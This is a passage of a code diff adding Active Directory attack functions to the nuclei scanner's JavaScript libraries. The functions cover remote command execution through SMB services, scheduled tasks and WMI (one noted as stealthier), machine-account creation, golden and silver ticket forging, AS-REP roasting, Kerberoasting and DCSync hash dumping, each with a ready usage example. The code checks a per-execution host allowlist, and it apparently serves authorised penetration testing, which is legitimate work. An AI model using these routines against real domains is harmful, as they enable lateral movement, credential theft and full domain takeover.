users) { log(u.Name + ' ' + u.RID); } +// ``` +func (c *Client) SamrEnumerateUsers() ([]DomainUser, error) { + rpc, err := c.rpcOverNamedPipe("samr", gpsamr.UUID, gpsamr.MajorVersion, gpsamr.MinorVersion) + if err != nil { + return nil, err + } + defer func() { + _ = rpc.Transport.Close() + }() + + samr := gpsamr.NewSamrClient(rpc, rpc.GetSessionKey()) + if err := samr.Connect(); err != nil { + return nil, fmt.Errorf("samr connect: %w", err) + } + if err := samr.OpenDomain(c.Domain); err != nil { + return nil, fmt.Errorf("samr open domain: %w", err) + } + defer samr.Close() + return samr.EnumerateDomainUsers() +} + +// SamrAddComputer creates a new machine account using the supplied password. +// Useful as the first step in many AD escalations (RBCD / shadow credentials). +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// c.SamrAddComputer('NUCLEI$', 'C0mputerP@ss!'); +// ``` +func (c *Client) SamrAddComputer(name, password string) error { + c.nj.Require(name != "", "computer name cannot be empty") + c.nj.Require(password != "", "computer password cannot be empty") + rpc, err := c.rpcOverNamedPipe("samr", gpsamr.UUID, gpsamr.MajorVersion, gpsamr.MinorVersion) + if err != nil { + return err + } + defer func() { + _ = rpc.Transport.Close() + }() + + samr := gpsamr.NewSamrClient(rpc, rpc.GetSessionKey()) + if err := samr.Connect(); err != nil { + return fmt.Errorf("samr connect: %w", err) + } + if err := samr.OpenDomain(c.Domain); err != nil { + return fmt.Errorf("samr open domain: %w", err) + } + defer samr.Close() + return samr.CreateComputer(name, password) +} + +// SmbExecResult is returned by SmbExec. +type SmbExecResult struct { + ServiceName string `json:"service_name"` + Output string `json:"output"` +} + +// SmbExec executes a Windows command on the target host using the +// SVCCTL "create + start service" technique (impacket: smbexec.py / psexec.py). +// The command's stdout/stderr is captured by writing to the chosen share +// (default C$) and read back over SMB. Local admin equivalent rights are +// required on the target. +// +// command - the command line to run; for powershell prefix with +// +// `powershell -EncodedCommand ` or use any cmd one-liner. +// +// share - writable share to stage the output file in (default "C$"). +// +// @example +// ```javascript +// const dcerpc = require('nuclei/dcerpc'); +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const r = c.SmbExec('whoami /all', 'C$'); +// log(r.output); +// ``` +func (c *Client) SmbExec(command, share string) (*SmbExecResult, error) { + c.nj.Require(command != "", "command cannot be empty") + if !protocolstate.IsHostAllowed(c.nj.ExecutionId(), c.Host) { + return nil, protocolstate.ErrHostDenied.Msgf(c.Host) + } + if err := c.connect(); err != nil { + return nil, err + } + + pf, err := c.smb.OpenPipe("svcctl") + if err != nil { + return nil, fmt.Errorf("open svcctl pipe: %w", err) + } + defer func() { + _ = pf.Close() + }() + + rpc := gprpc.NewClient(pf) + if err := rpc.Bind(gpsvcctl.UUID, gpsvcctl.MajorVersion, gpsvcctl.MinorVersion); err != nil { + return nil, fmt.Errorf("svcctl bind: %w", err) + } + sc, err := gpsvcctl.NewServiceController(rpc) + if err != nil { + return nil, fmt.Errorf("svcctl open scm: %w", err) + } + defer sc.Close() + + res, err := gpsmbexec.Exec(sc, c.smb, command, gpsmbexec.Options{ + Share: share, + Mode: gpsmbexec.ModeShare, + Timeout: 10 * time.Second, + }) + if err != nil { + return nil, err + } + return &SmbExecResult{ServiceName: res.ServiceName, Output: res.Output}, nil +} + + +// AtExecResult is returned by AtExec. +type AtExecResult struct { + TaskName string `json:"task_name"` + Output string `json:"output"` +} + +// AtExec executes a Windows command on the target host using the Task Scheduler +// service over the atsvc named pipe (impacket: atexec.py). A one-shot scheduled +// task is registered as LocalSystem, executed once, and then deleted. The +// command's stdout/stderr is captured into %windir%\Temp on the chosen share +// (default ADMIN$) and read back over SMB. Local admin equivalent rights are +// required on the target. +// +// All the heavy lifting (task XML, register / run / poll / cleanup) lives in +// goimpacket's pkg/atexec library; this wrapper only handles the JS-facing +// validation and the per-execution network policy enforcement. +// +// command - the command line to run (wrapped in cmd.exe /C ... by default). +// share - writable share to retrieve the output file from (default "ADMIN$"). +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const r = c.AtExec('whoami /all', 'ADMIN$'); +// log(r.output); +// ``` +func (c *Client) AtExec(command, share string) (*AtExecResult, error) { + c.nj.Require(command != "", "command cannot be empty") + if !protocolstate.IsHostAllowed(c.nj.ExecutionId(), c.Host) { + return nil, protocolstate.ErrHostDenied.Msgf(c.Host) + } + if err := c.connect(); err != nil { + return nil, err + } + + pf, err := c.smb.OpenPipe("atsvc") + if err != nil { + return nil, fmt.Errorf("open atsvc pipe: %w", err) + } + defer func() { _ = pf.Close() }() + + rpc := gprpc.NewClient(pf) + if err := rpc.BindAuth(gptsch.UUID, gptsch.MajorVersion, gptsch.MinorVersion, c.creds); err != nil { + return nil, fmt.Errorf("tsch bind: %w", err) + } + ts := gptsch.NewTaskScheduler(rpc) + + res, err := gpatexec.Exec(ts, c.smb, command, gpatexec.Options{ + Share: share, + Timeout: 15 * time.Second, + SessionID: -1, + }) + if err != nil { + return nil, err + } + return &AtExecResult{TaskName: res.TaskName, Output: res.Output}, nil +} + +// SmbListShares enumerates the SMB shares exposed by the target. +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// for (const s of c.SmbListShares()) { log(s); } +// ``` +func (c *Client) SmbListShares() ([]string, error) { + if err := c.connect(); err != nil { + return nil, err + } + return c.smb.ListShares() +} + +// SmbCat reads the contents of a single file from the given share. The path +// is interpreted relative to the share root (use forward slashes). +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const txt = c.SmbCat('backup', 'backup_credentials.txt'); +// log(txt); +// ``` +func (c *Client) SmbCat(share, file string) (string, error) { + c.nj.Require(share != "", "share cannot be empty") + c.nj.Require(file != "", "file cannot be empty") + if err := c.connect(); err != nil { + return "", err + } + if err := c.smb.UseShare(share); err != nil { + return "", fmt.Errorf("use share %s: %w", share, err) + } + return c.smb.Cat(file) +} + +// SmbLs lists files under dir on the given share. dir = "" lists the root. +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const entries = c.SmbLs('backup', ''); +// for (const e of entries) { log(e.Name + (e.IsDir ? '/' : '')); } +// ``` +type FileEntry struct { + Name string `json:"name"` + Size int64 `json:"size"` + IsDir bool `json:"is_dir"` +} + +func (c *Client) SmbLs(share, dir string) ([]FileEntry, error) { + c.nj.Require(share != "", "share cannot be empty") + if err := c.connect(); err != nil { + return nil, err + } + if err := c.smb.UseShare(share); err != nil { + return nil, fmt.Errorf("use share %s: %w", share, err) + } + infos, err := c.smb.Ls(dir) + if err != nil { + return nil, err + } + out := make([]FileEntry, 0, len(infos)) + for _, fi := range infos { + out = append(out, FileEntry{Name: fi.Name(), Size: fi.Size(), IsDir: fi.IsDir()}) + } + return out, nil +} + +// LsaLookupSids resolves an array of SIDs to (domain, name, type) triples +// against LSARPC (impacket: lookupsid.py). +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const r = c.LsaLookupSids(['S-1-5-21-...-500']); +// log(to_json(r)); +// ``` +func (c *Client) LsaLookupSids(sids []string) ([]LookupResult, error) { + c.nj.Require(len(sids) > 0, "at least one SID must be provided") + rpc, err := c.rpcOverNamedPipe("lsarpc", gplsa.UUID, gplsa.MajorVersion, gplsa.MinorVersion) + if err != nil { + return nil, err + } + defer func() { + _ = rpc.Transport.Close() + }() + + lsa, err := gplsa.NewLsaClient(rpc) + if err != nil { + return nil, fmt.Errorf("lsa init: %w", err) + } + if err := lsa.OpenPolicy2(); err != nil { + return nil, fmt.Errorf("lsa OpenPolicy2: %w", err) + } + defer lsa.Close() + return lsa.LookupSids(sids) +} diff --git a/pkg/js/libs/dcerpc/transport_init.go b/pkg/js/libs/dcerpc/transport_init.go new file mode 100644 index 0000000000..92ad27786f --- /dev/null +++ b/pkg/js/libs/dcerpc/transport_init.go @@ -0,0 +1,75 @@ +package dcerpc + +import ( + "context" + "fmt" + "net" + + gptransport "github.com/Mzack9999/goimpacket/pkg/transport" + + "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate" +) + +// init wires the goimpacket package-level dial hook as a strict tripwire. +// Every TCP connection inside goimpacket is supposed to go through a +// per-Client *gptransport.Dialer built by NewExecDialer below, which captures +// the executionId of the calling JS runtime. If something inside goimpacket +// bypasses that and reaches this global hook we refuse to dial - we will not +// silently pick a random execution's dialer. +func init() { + gptransport.SetDial(func(ctx context.Context, network, address string) (net.Conn, error) { + execID := executionIDFromCtx(ctx) + if execID == "" { + return nil, fmt.Errorf("goimpacket: refusing to dial %s/%s without an executionId-bound dialer; wrap the call site with a *gptransport.Dialer built via NewExecDialer", network, address) + } + return dialWithExec(ctx, execID, network, address) + }) +} + +// NewExecDialer returns a *gptransport.Dialer whose DialFn is bound to the +// given executionId. Every connection made through the returned dialer is +// validated against the execution's network policy and routed through the +// matching fastdialer. Pass it into goimpacket constructors such as +// smb.NewClientWithDialer or dcerpc.DialTCPWithDialer to guarantee the +// connection cannot leak across executions. +func NewExecDialer(execID string) *gptransport.Dialer { + if execID == "" { + return &gptransport.Dialer{} + } + return &gptransport.Dialer{ + DialFn: func(ctx context.Context, network, address string) (net.Conn, error) { + return dialWithExec(ctx, execID, network, address) + }, + } +} + +// dialWithExec performs the actual fastdialer dial after enforcing the +// per-execution host policy. +func dialWithExec(ctx context.Context, execID, network, address string) (net.Conn, error) { + host, _, err := net.SplitHostPort(address) + if err != nil { + return nil, fmt.Errorf("invalid address %q: %w", address, err) + } + if !protocolstate.IsHostAllowed(execID, host) { + return nil, protocolstate.ErrHostDenied.Msgf(host) + } + dialer := protocolstate.GetDialersWithId(execID) + if dialer == nil || dialer.Fastdialer == nil { + return nil, fmt.Errorf("goimpacket: no fastdialer registered for executionId %q", execID) + } + return dialer.Fastdialer.Dial(ctx, network, address) +} + +// executionIDFromCtx pulls the executionId set by nuclei on its goja runtime +// or scan context. Returns "" when the context carries no id. +func executionIDFromCtx(ctx context.Context) string { + if ctx == nil { + return "" + } + if v := ctx.Value("executionId"); v != nil { + if id, ok := v.(string); ok { + return id + } + } + return "" +} diff --git a/pkg/js/libs/dcerpc/wmiexec.go b/pkg/js/libs/dcerpc/wmiexec.go new file mode 100644 index 0000000000..846f9348ac --- /dev/null +++ b/pkg/js/libs/dcerpc/wmiexec.go @@ -0,0 +1,85 @@ +package dcerpc + +import ( + "context" + "net" + "time" + + gpwmiexec "github.com/Mzack9999/goimpacket/pkg/wmiexec" + "github.com/oiweiwei/go-msrpc/dcerpc" + + "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate" +) + +// WmiExecResult is returned by WmiExec. +type WmiExecResult struct { + ReturnValue uint32 `json:"return_value"` + Output string `json:"output"` +} + +// WmiExec executes a Windows command on the target host using DCOM +// Win32_Process.Create over the WMI IWbemServices interface (impacket: +// wmiexec.py). The command is launched as a fresh process by the WMI host +// process and its stdout/stderr is redirected into a temp file on the chosen +// share (default ADMIN$) which is then read back over SMB. WmiExec is +// stealthier than SmbExec / AtExec because it does not create a service or a +// scheduled task, but Win32_Process.Create itself does not return any captured +// output - the file-tailing roundtrip is required to recover stdout. +// +// The DCOM bootstrap, NTLM/SPNEGO negotiation and Win32_Process.Create call +// live in goimpacket's pkg/wmiexec library; this wrapper only handles the +// JS-facing validation, the per-execution network policy enforcement, and +// wires nuclei's fastdialer into go-msrpc. +// +// command - the command line to run; wrapped in cmd.exe /Q /c by default. +// share - writable share to retrieve the output file from (default "ADMIN$"). +// +// Authentication: NTLM with password or pass-the-hash via SetHash. Kerberos is +// not yet supported on this code path. +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const r = c.WmiExec('whoami /all', 'ADMIN$'); +// log(r.output); +// ``` +func (c *Client) WmiExec(command, share string) (*WmiExecResult, error) { + c.nj.Require(command != "", "command cannot be empty") + if !protocolstate.IsHostAllowed(c.nj.ExecutionId(), c.Host) { + return nil, protocolstate.ErrHostDenied.Msgf(c.Host) + } + if err := c.connect(); err != nil { + return nil, err + } + + target := c.target + target.Host = c.Host + target.IP = c.Host + + res, err := gpwmiexec.Exec( + context.Background(), + target, + c.creds, + command, + gpwmiexec.Options{Share: share, Timeout: 15 * time.Second}, + gpwmiexec.DialOptions{ + Dialer: &execDialerAdapter{execID: c.nj.ExecutionId()}, + SMB: c.smb, + }, + ) + if err != nil { + return nil, err + } + return &WmiExecResult{ReturnValue: res.ReturnValue, Output: res.Output}, nil +} + +// execDialerAdapter routes go-msrpc's TCP dials through nuclei's per-execution +// fastdialer. Implements the dcerpc.Dialer interface (DialContext only). +type execDialerAdapter struct{ execID string } + +func (e *execDialerAdapter) DialContext(ctx context.Context, network, address string) (net.Conn, error) { + return dialWithExec(ctx, e.execID, network, address) +} + +// Compile-time guard that execDialerAdapter satisfies dcerpc.Dialer. +var _ dcerpc.Dialer = (*execDialerAdapter)(nil) diff --git a/pkg/js/libs/krbforge/krbforge.go b/pkg/js/libs/krbforge/krbforge.go new file mode 100644 index 0000000000..8d6963e3bb --- /dev/null +++ b/pkg/js/libs/krbforge/krbforge.go @@ -0,0 +1,134 @@ +// Package krbforge wraps mandiant/gopacket's Kerberos ticket forging primitives +// (golden / silver tickets) for use from nuclei javascript templates. +// +// Forging requires the krbtgt NT hash (golden) or a service-account hash +// (silver) - obtained from secretsdump / dcsync. Templates can chain this with +// the dcerpc lib to produce end-to-end attack chains entirely in nuclei. +package krbforge + +import ( + "encoding/hex" + "fmt" + "os" + "path/filepath" + + gpkrb "github.com/Mzack9999/goimpacket/pkg/kerberos" +) + +// TicketRequest mirrors gopacket's TicketConfig with json-friendly tags. +type TicketRequest struct { + Username string `json:"username"` + Domain string `json:"domain"` + DomainSID string `json:"domain_sid"` + NTHash string `json:"nthash,omitempty"` + AESKey string `json:"aes_key,omitempty"` + SPN string `json:"spn,omitempty"` + UserID uint32 `json:"user_id,omitempty"` + PrimaryGroupID uint32 `json:"primary_group_id,omitempty"` + Groups []uint32 `json:"groups,omitempty"` + ExtraSIDs []string `json:"extra_sids,omitempty"` + DurationHours int `json:"duration_hours,omitempty"` + KVNO int `json:"kvno,omitempty"` + OutputFile string `json:"output_file,omitempty"` +} + +// Ticket is the forged ticket plus metadata. +type Ticket struct { + HexTicket string `json:"ticket_hex"` + HexKey string `json:"session_key_hex"` + EncType int32 `json:"enc_type"` + OutputFile string `json:"output_file,omitempty"` +} + +// CreateGoldenTicket forges a TGT for the supplied user against the given +// realm using the krbtgt NT hash (or AES key). It returns the ASN.1-encoded +// ticket and the session key. If req.OutputFile is empty no file is written; +// pass an absolute path to also persist a ccache. +// +// @example +// ```javascript +// const krb = require('nuclei/krbforge'); +// const t = krb.CreateGoldenTicket({ +// username: 'Administrator', +// domain: 'acme.local', +// domain_sid: 'S-1-5-21-1004336348-1177238915-682003330', +// nthash: '31d6cfe0d16ae931b73c59d7e0c089c0', +// }); +// log(t.ticket_hex); +// ``` +func CreateGoldenTicket(req TicketRequest) (*Ticket, error) { + cfg := buildConfig(req, "") + if cfg.OutputFile == "" { + cfg.OutputFile = "-" + } + res, err := gpkrb.CreateTicket(cfg) + if err != nil { + return nil, err + } + return &Ticket{ + HexTicket: hex.EncodeToString(res.Ticket), + HexKey: hex.EncodeToString(res.SessionKey), + EncType: res.EncType, + OutputFile: cfg.OutputFile, + }, nil +} + +// CreateSilverTicket forges a service ticket (TGS) for the supplied SPN. The +// hash supplied must belong to the service account that owns the SPN (e.g. +// the machine account NT hash for cifs/host SPNs). +// +// @example +// ```javascript +// const krb = require('nuclei/krbforge'); +// const t = krb.CreateSilverTicket({ +// username: 'Administrator', +// domain: 'acme.local', +// domain_sid: 'S-1-5-21-1004336348-1177238915-682003330', +// nthash: '31d6cfe0d16ae931b73c59d7e0c089c0', +// spn: 'cifs/server01.acme.local', +// }, '/tmp/silver.ccache'); +// log(t.output_file); +// ``` +func CreateSilverTicket(req TicketRequest, outputFile string) (*Ticket, error) { + if req.SPN == "" { + return nil, fmt.Errorf("spn is required for silver ticket") + } + cfg := buildConfig(req, outputFile) + res, err := gpkrb.CreateTicket(cfg) + if err != nil { + return nil, err + } + return &Ticket{ + HexTicket: hex.EncodeToString(res.Ticket), + HexKey: hex.EncodeToString(res.SessionKey), + EncType: res.EncType, + OutputFile: cfg.OutputFile, + }, nil +} + +func buildConfig(req TicketRequest, outputFile string) *gpkrb.TicketConfig { + if outputFile == "" { + outputFile = req.OutputFile + } + if outputFile != "" && outputFile != "-" { + // reject relative paths to keep the ccache out of CWD + if !filepath.IsAbs(outputFile) { + outputFile = filepath.Join(os.TempDir(), outputFile) + } + } + return &gpkrb.TicketConfig{ + Username: req.Username, + Domain: req.Domain, + DomainSID: req.DomainSID, + NTHash: req.NTHash, + AESKey: req.AESKey, + SPN: req.SPN, + UserID: req.UserID, + PrimaryGroupID: req.PrimaryGroupID, + Groups: req.Groups, + ExtraSIDs: req.ExtraSIDs, + Duration: req.DurationHours, + KVNO: req.KVNO, + OutputFile: outputFile, + } +} diff --git a/pkg/js/libs/krbroast/krbroast.go b/pkg/js/libs/krbroast/krbroast.go new file mode 100644 index 0000000000..5ea97859f6 --- /dev/null +++ b/pkg/js/libs/krbroast/krbroast.go @@ -0,0 +1,171 @@ +// Package krbroast exposes the two unauthenticated/low-privilege Kerberos +// hash-extraction primitives used by every AD red-team workflow: +// +// - AS-REP roasting (no creds required, only a username with the +// DONT_REQ_PREAUTH UAC flag set) +// - Kerberoasting (any valid domain credential plus a target SPN) +// +// Both functions return the captured ticket material formatted for offline +// cracking with hashcat / john so a template can chain enumeration (via +// nuclei/ldap GetADUserKerberoastable / GetADUserAsRepRoastable) directly +// into hash extraction. +package krbroast + +import ( + "fmt" + + gpkrb "github.com/Mzack9999/goimpacket/pkg/kerberos" + "github.com/Mzack9999/goja" + + "github.com/projectdiscovery/nuclei/v3/pkg/js/libs/dcerpc" + "github.com/projectdiscovery/nuclei/v3/pkg/js/utils" + "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate" +) + +// ASRepRoastRequest configures an AS-REP roast attempt. +type ASRepRoastRequest struct { + Username string `json:"username"` + Domain string `json:"domain"` + KDCHost string `json:"kdc_host"` + Format string `json:"format,omitempty"` // "hashcat" (default) or "john" +} + +// ASRepRoast asks the KDC for the AS-REP of a user that has DONT_REQ_PREAUTH +// set. No credentials are required. Returns the cracking-format string or +// throws if the user requires pre-auth or does not exist. +// +// Implemented as a goja-native function so the calling runtime's executionId +// can be captured and bound into the *transport.Dialer routed to the KDC. +// +// @example +// ```javascript +// const krb = require('nuclei/krbroast'); +// +// const hash = krb.ASRepRoast({ +// Username: 'svc_jenkins', +// Domain: 'acme.local', +// KDCHost: 'dc01.acme.local', +// }); +// +// log(hash); +// ``` +func ASRepRoast(call goja.FunctionCall, vm *goja.Runtime) goja.Value { + nj := utils.NewNucleiJS(vm) + nj.ObjectSig = "ASRepRoast(request)" + + var req ASRepRoastRequest + if err := vm.ExportTo(call.Argument(0), &req); err != nil { + nj.ThrowError(fmt.Errorf("invalid ASRepRoastRequest: %w", err)) + } + if req.Username == "" || req.Domain == "" || req.KDCHost == "" { + nj.ThrowError(fmt.Errorf("Username, Domain and KDCHost are required")) //nolint + } + + execID := nj.ExecutionId() + if execID == "" { + nj.ThrowError(fmt.Errorf("krbroast: no executionId on goja runtime")) + } + if !protocolstate.IsHostAllowed(execID, req.KDCHost) { + nj.ThrowError(protocolstate.ErrHostDenied.Msgf(req.KDCHost)) + } + + hash, err := gpkrb.GetASREPWithDialer(dcerpc.NewExecDialer(execID), req.Username, req.Domain, req.KDCHost, req.Format) + if err != nil { + nj.ThrowError(err) + } + return vm.ToValue(hash) +} + +// KerberoastRequest configures a Kerberoast attempt. +// +// One of Password / NTHash must be set. SPN is the service principal name to +// roast (e.g. "MSSQLSvc/sql01.acme.local:1433"). TargetUser, when set, is the +// account name embedded in the resulting hash string (defaults to Username). +type KerberoastRequest struct { + Username string `json:"username"` + Password string `json:"password,omitempty"` + NTHash string `json:"nthash,omitempty"` + Domain string `json:"domain"` + KDCHost string `json:"kdc_host"` + SPN string `json:"spn"` + TargetUser string `json:"target_user,omitempty"` +} + +// KerberoastResult is the cracking-format hash plus a few useful fields for +// post-processing by templates. +type KerberoastResult struct { + Username string `json:"username"` + SPN string `json:"spn"` + Hash string `json:"hash"` + EType int32 `json:"enc_type"` +} + +// Kerberoast requests a TGS for the given SPN using the supplied credentials +// and returns its hashcat-formatted hash for offline cracking. +// +// Note: the underlying jcmturner/gokrb5 client used by GetTGSWithOptions +// performs its own net.Dial that is not routed through nuclei's fastdialer. +// The host is still pre-validated against the per-execution network policy so +// allowlist / denylist constraints are enforced before any traffic is sent. +// +// @example +// ```javascript +// const krb = require('nuclei/krbroast'); +// +// const r = krb.Kerberoast({ +// Username: 'lowpriv', +// Password: 'P@ss', +// Domain: 'acme.local', +// KDCHost: 'dc01.acme.local', +// SPN: 'MSSQLSvc/sql01.acme.local:1433', +// TargetUser: 'svc_sql', +// }); +// +// log(r.Hash); +// ``` +func Kerberoast(call goja.FunctionCall, vm *goja.Runtime) goja.Value { + nj := utils.NewNucleiJS(vm) + nj.ObjectSig = "Kerberoast(request)" + + var req KerberoastRequest + if err := vm.ExportTo(call.Argument(0), &req); err != nil { + nj.ThrowError(fmt.Errorf("invalid KerberoastRequest: %w", err)) + } + if req.Username == "" || req.Domain == "" || req.KDCHost == "" || req.SPN == "" { + nj.ThrowError(fmt.Errorf("Username, Domain, KDCHost and SPN are required")) //nolint + } + if req.Password == "" && req.NTHash == "" { + nj.ThrowError(fmt.Errorf("either Password or NTHash must be supplied")) + } + + execID := nj.ExecutionId() + if execID == "" { + nj.ThrowError(fmt.Errorf("krbroast: no executionId on goja runtime")) + } + if !protocolstate.IsHostAllowed(execID, req.KDCHost) { + nj.ThrowError(protocolstate.ErrHostDenied.Msgf(req.KDCHost)) + } + + target := req.TargetUser + if target == "" { + target = req.Username + } + res, err := gpkrb.GetTGSWithOptions(gpkrb.TGSOptions{ + Username: req.Username, + Password: req.Password, + NTHash: req.NTHash, + Domain: req.Domain, + KDCHost: req.KDCHost, + TargetUser: target, + SPN: req.SPN, + }) + if err != nil { + nj.ThrowError(err) + } + return vm.ToValue(&KerberoastResult{ + Username: res.Username, + SPN: res.SPN, + Hash: res.Hash, + EType: res.EType, + }) +} diff --git a/pkg/js/libs/secretsdump/secretsdump.go b/pkg/js/libs/secretsdump/secretsdump.go new file mode 100644 index 0000000000..3b4662775d --- /dev/null +++ b/pkg/js/libs/secretsdump/secretsdump.go @@ -0,0 +1,186 @@ +// Package secretsdump exposes Mzack9999/goimpacket's DCSync (DRSUAPI +// IDL_DRSGetNCChanges) primitive to nuclei javascript templates. +// +// DCSync requires Replicating Directory Changes / Replicating Directory +// Changes All extended rights on the domain head. Templates that reach this +// point typically already proved compromise of a Domain Admin account or of a +// principal with the right ACEs (e.g. via samr / ldap / kerberos chains). +// +// Only single-object DCSync is exposed today; full-domain replication is +// intentionally left out as it requires explicit operator opt-in. +package secretsdump + +import ( + "encoding/hex" + "fmt" + + gprpc "github.com/Mzack9999/goimpacket/pkg/dcerpc" + gpdrs "github.com/Mzack9999/goimpacket/pkg/dcerpc/drsuapi" + gpsession "github.com/Mzack9999/goimpacket/pkg/session" + gpsmb "github.com/Mzack9999/goimpacket/pkg/smb" + "github.com/Mzack9999/goja" + + "github.com/projectdiscovery/nuclei/v3/pkg/js/utils" + "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate" +) + +// Secret is the result of a DCSync against a single principal. +type Secret struct { + SAMAccountName string `json:"sam_account_name"` + DistinguishedName string `json:"distinguished_name"` + RID uint32 `json:"rid"` + NTHash string `json:"nthash,omitempty"` + LMHash string `json:"lmhash,omitempty"` + NTHashHistory []string `json:"nthash_history,omitempty"` + LMHashHistory []string `json:"lmhash_history,omitempty"` + UserAccountControl uint32 `json:"user_account_control"` + PwdLastSet int64 `json:"pwd_last_set"` +} + +// Client wraps an authenticated session to a Domain Controller and exposes +// DCSync helpers. +// +// @example +// ```javascript +// const sd = require('nuclei/secretsdump'); +// const c = new sd.Client('dc01.acme.local', 'acme.local', 'admin', 'P@ss'); +// const krbtgt = c.DCSync('krbtgt'); +// ExportAs('krbtgt_nthash', krbtgt.nthash); +// ``` +type Client struct { + Host string + Domain string + User string + Pass string + nj *utils.NucleiJS + creds *gpsession.Credentials + target gpsession.Target +} + +// NewClient constructs a DCSync client. The credentials supplied must have +// "Replicating Directory Changes" rights on the domain head. +// +// Constructor: constructor(public dc: string, public domain: string, public user: string, public password: string) +func NewClient(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object { + c := &Client{nj: utils.NewNucleiJS(runtime)} + c.nj.ObjectSig = "Client(dc, domain, user, password)" + + c.Host, _ = c.nj.GetArg(call.Arguments, 0).(string) + c.Domain, _ = c.nj.GetArg(call.Arguments, 1).(string) + c.User, _ = c.nj.GetArg(call.Arguments, 2).(string) + c.Pass, _ = c.nj.GetArg(call.Arguments, 3).(string) + + c.nj.Require(c.Host != "", "dc cannot be empty") + c.nj.Require(c.Domain != "", "domain cannot be empty") + c.nj.Require(c.User != "", "user cannot be empty") + if !protocolstate.IsHostAllowed(c.nj.ExecutionId(), c.Host) { + c.nj.Throw("dc %s blacklisted by network policy", c.Host) + } + c.creds = &gpsession.Credentials{Domain: c.Domain, Username: c.User, Password: c.Pass} + c.target = gpsession.Target{Host: c.Host, Port: 445} + return utils.LinkConstructor(call, runtime, c) +} + +// SetHash enables NTLM pass-the-hash authentication. +// +// @example +// ```javascript +// const c = new sd.Client('dc01', 'acme.local', 'admin', ''); +// c.SetHash(':31d6cfe0d16ae931b73c59d7e0c089c0'); +// ``` +func (c *Client) SetHash(hash string) { + c.creds.Hash = hash + c.creds.Password = "" +} + +// DCSync replicates secrets for a single principal (DN, sAMAccountName, or +// SID) and returns its NT/LM hashes, hash history and account state. +// +// @example +// ```javascript +// const sd = require('nuclei/secretsdump'); +// const c = new sd.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const s = c.DCSync('Administrator'); +// log(s.nthash); +// ``` +func (c *Client) DCSync(target string) (*Secret, error) { + c.nj.Require(target != "", "target cannot be empty") + if !protocolstate.IsHostAllowed(c.nj.ExecutionId(), c.Host) { + return nil, protocolstate.ErrHostDenied.Msgf(c.Host) + } + + smb := gpsmb.NewClient(c.target, c.creds) + if err := smb.Connect(); err != nil { + return nil, fmt.Errorf("smb connect: %w", err) + } + defer smb.Close() + + pipe, err := smb.OpenPipe("\\PIPE\\lsass") + if err != nil { + // Fall back to drsuapi-named pipe; both are accepted by the DC. + pipe, err = smb.OpenPipe("lsass") + if err != nil { + return nil, fmt.Errorf("open lsass pipe: %w", err) + } + } + rpc := gprpc.NewClient(pipe) + if err := rpc.BindAuth(gpdrs.UUID, gpdrs.MajorVersion, gpdrs.MinorVersion, c.creds); err != nil { + return nil, fmt.Errorf("drsuapi bind: %w", err) + } + defer func() { + _ = rpc.Transport.Close() + }() + + bind, err := gpdrs.DsBind(rpc) + if err != nil { + return nil, fmt.Errorf("ds bind: %w", err) + } + + dcInfo, err := gpdrs.DsDomainControllerInfo(rpc, bind.Handle, c.Domain) + if err != nil { + return nil, fmt.Errorf("ds dc info: %w", err) + } + + domainDN, err := gpdrs.GetDomainDN(rpc, bind.Handle, c.Domain) + if err != nil { + return nil, fmt.Errorf("ds domain dn: %w", err) + } + + // Resolve target -> DN if it doesn't already look like one. + userDN := target + if len(target) < 3 || (target[:3] != "CN=" && target[:3] != "cn=") { + cracked, err := gpdrs.DsCrackNames(rpc, bind.Handle, 7 /* DS_NT4_ACCOUNT_NAME */, 1 /* DS_FQDN_1779_NAME */, []string{c.Domain + "\\" + target}) + if err != nil || len(cracked) == 0 || cracked[0].Name == "" { + cracked, err = gpdrs.DsCrackNames(rpc, bind.Handle, 11 /* DS_UNIQUE_ID_NAME (SID) */, 1, []string{target}) + if err != nil || len(cracked) == 0 || cracked[0].Name == "" { + return nil, fmt.Errorf("could not resolve %q to a DN", target) + } + } + userDN = cracked[0].Name + } + + res, err := gpdrs.DsGetNCChanges(rpc, bind.Handle, domainDN, userDN, dcInfo.NtdsDsaObjectGuid, rpc.GetSessionKey()) + if err != nil { + return nil, fmt.Errorf("DsGetNCChanges: %w", err) + } + if len(res.Objects) == 0 { + return nil, fmt.Errorf("DsGetNCChanges returned no objects") + } + o := res.Objects[0] + out := &Secret{ + SAMAccountName: o.SAMAccountName, + DistinguishedName: o.DN, + RID: o.RID, + NTHash: hex.EncodeToString(o.NTHash), + LMHash: hex.EncodeToString(o.LMHash), + UserAccountControl: o.UserAccountControl, + PwdLastSet: o.PwdLastSet, + } + for _, h := range o.NTHashHistory { + out.NTHashHistory = append(out.NTHashHistory, hex.EncodeToString(h)) + } + for _, h := range o.LMHashHistory { + out.LMHashHistory = append(out.LMHashHistory, hex.EncodeToString(h)) + } + return out, nil +}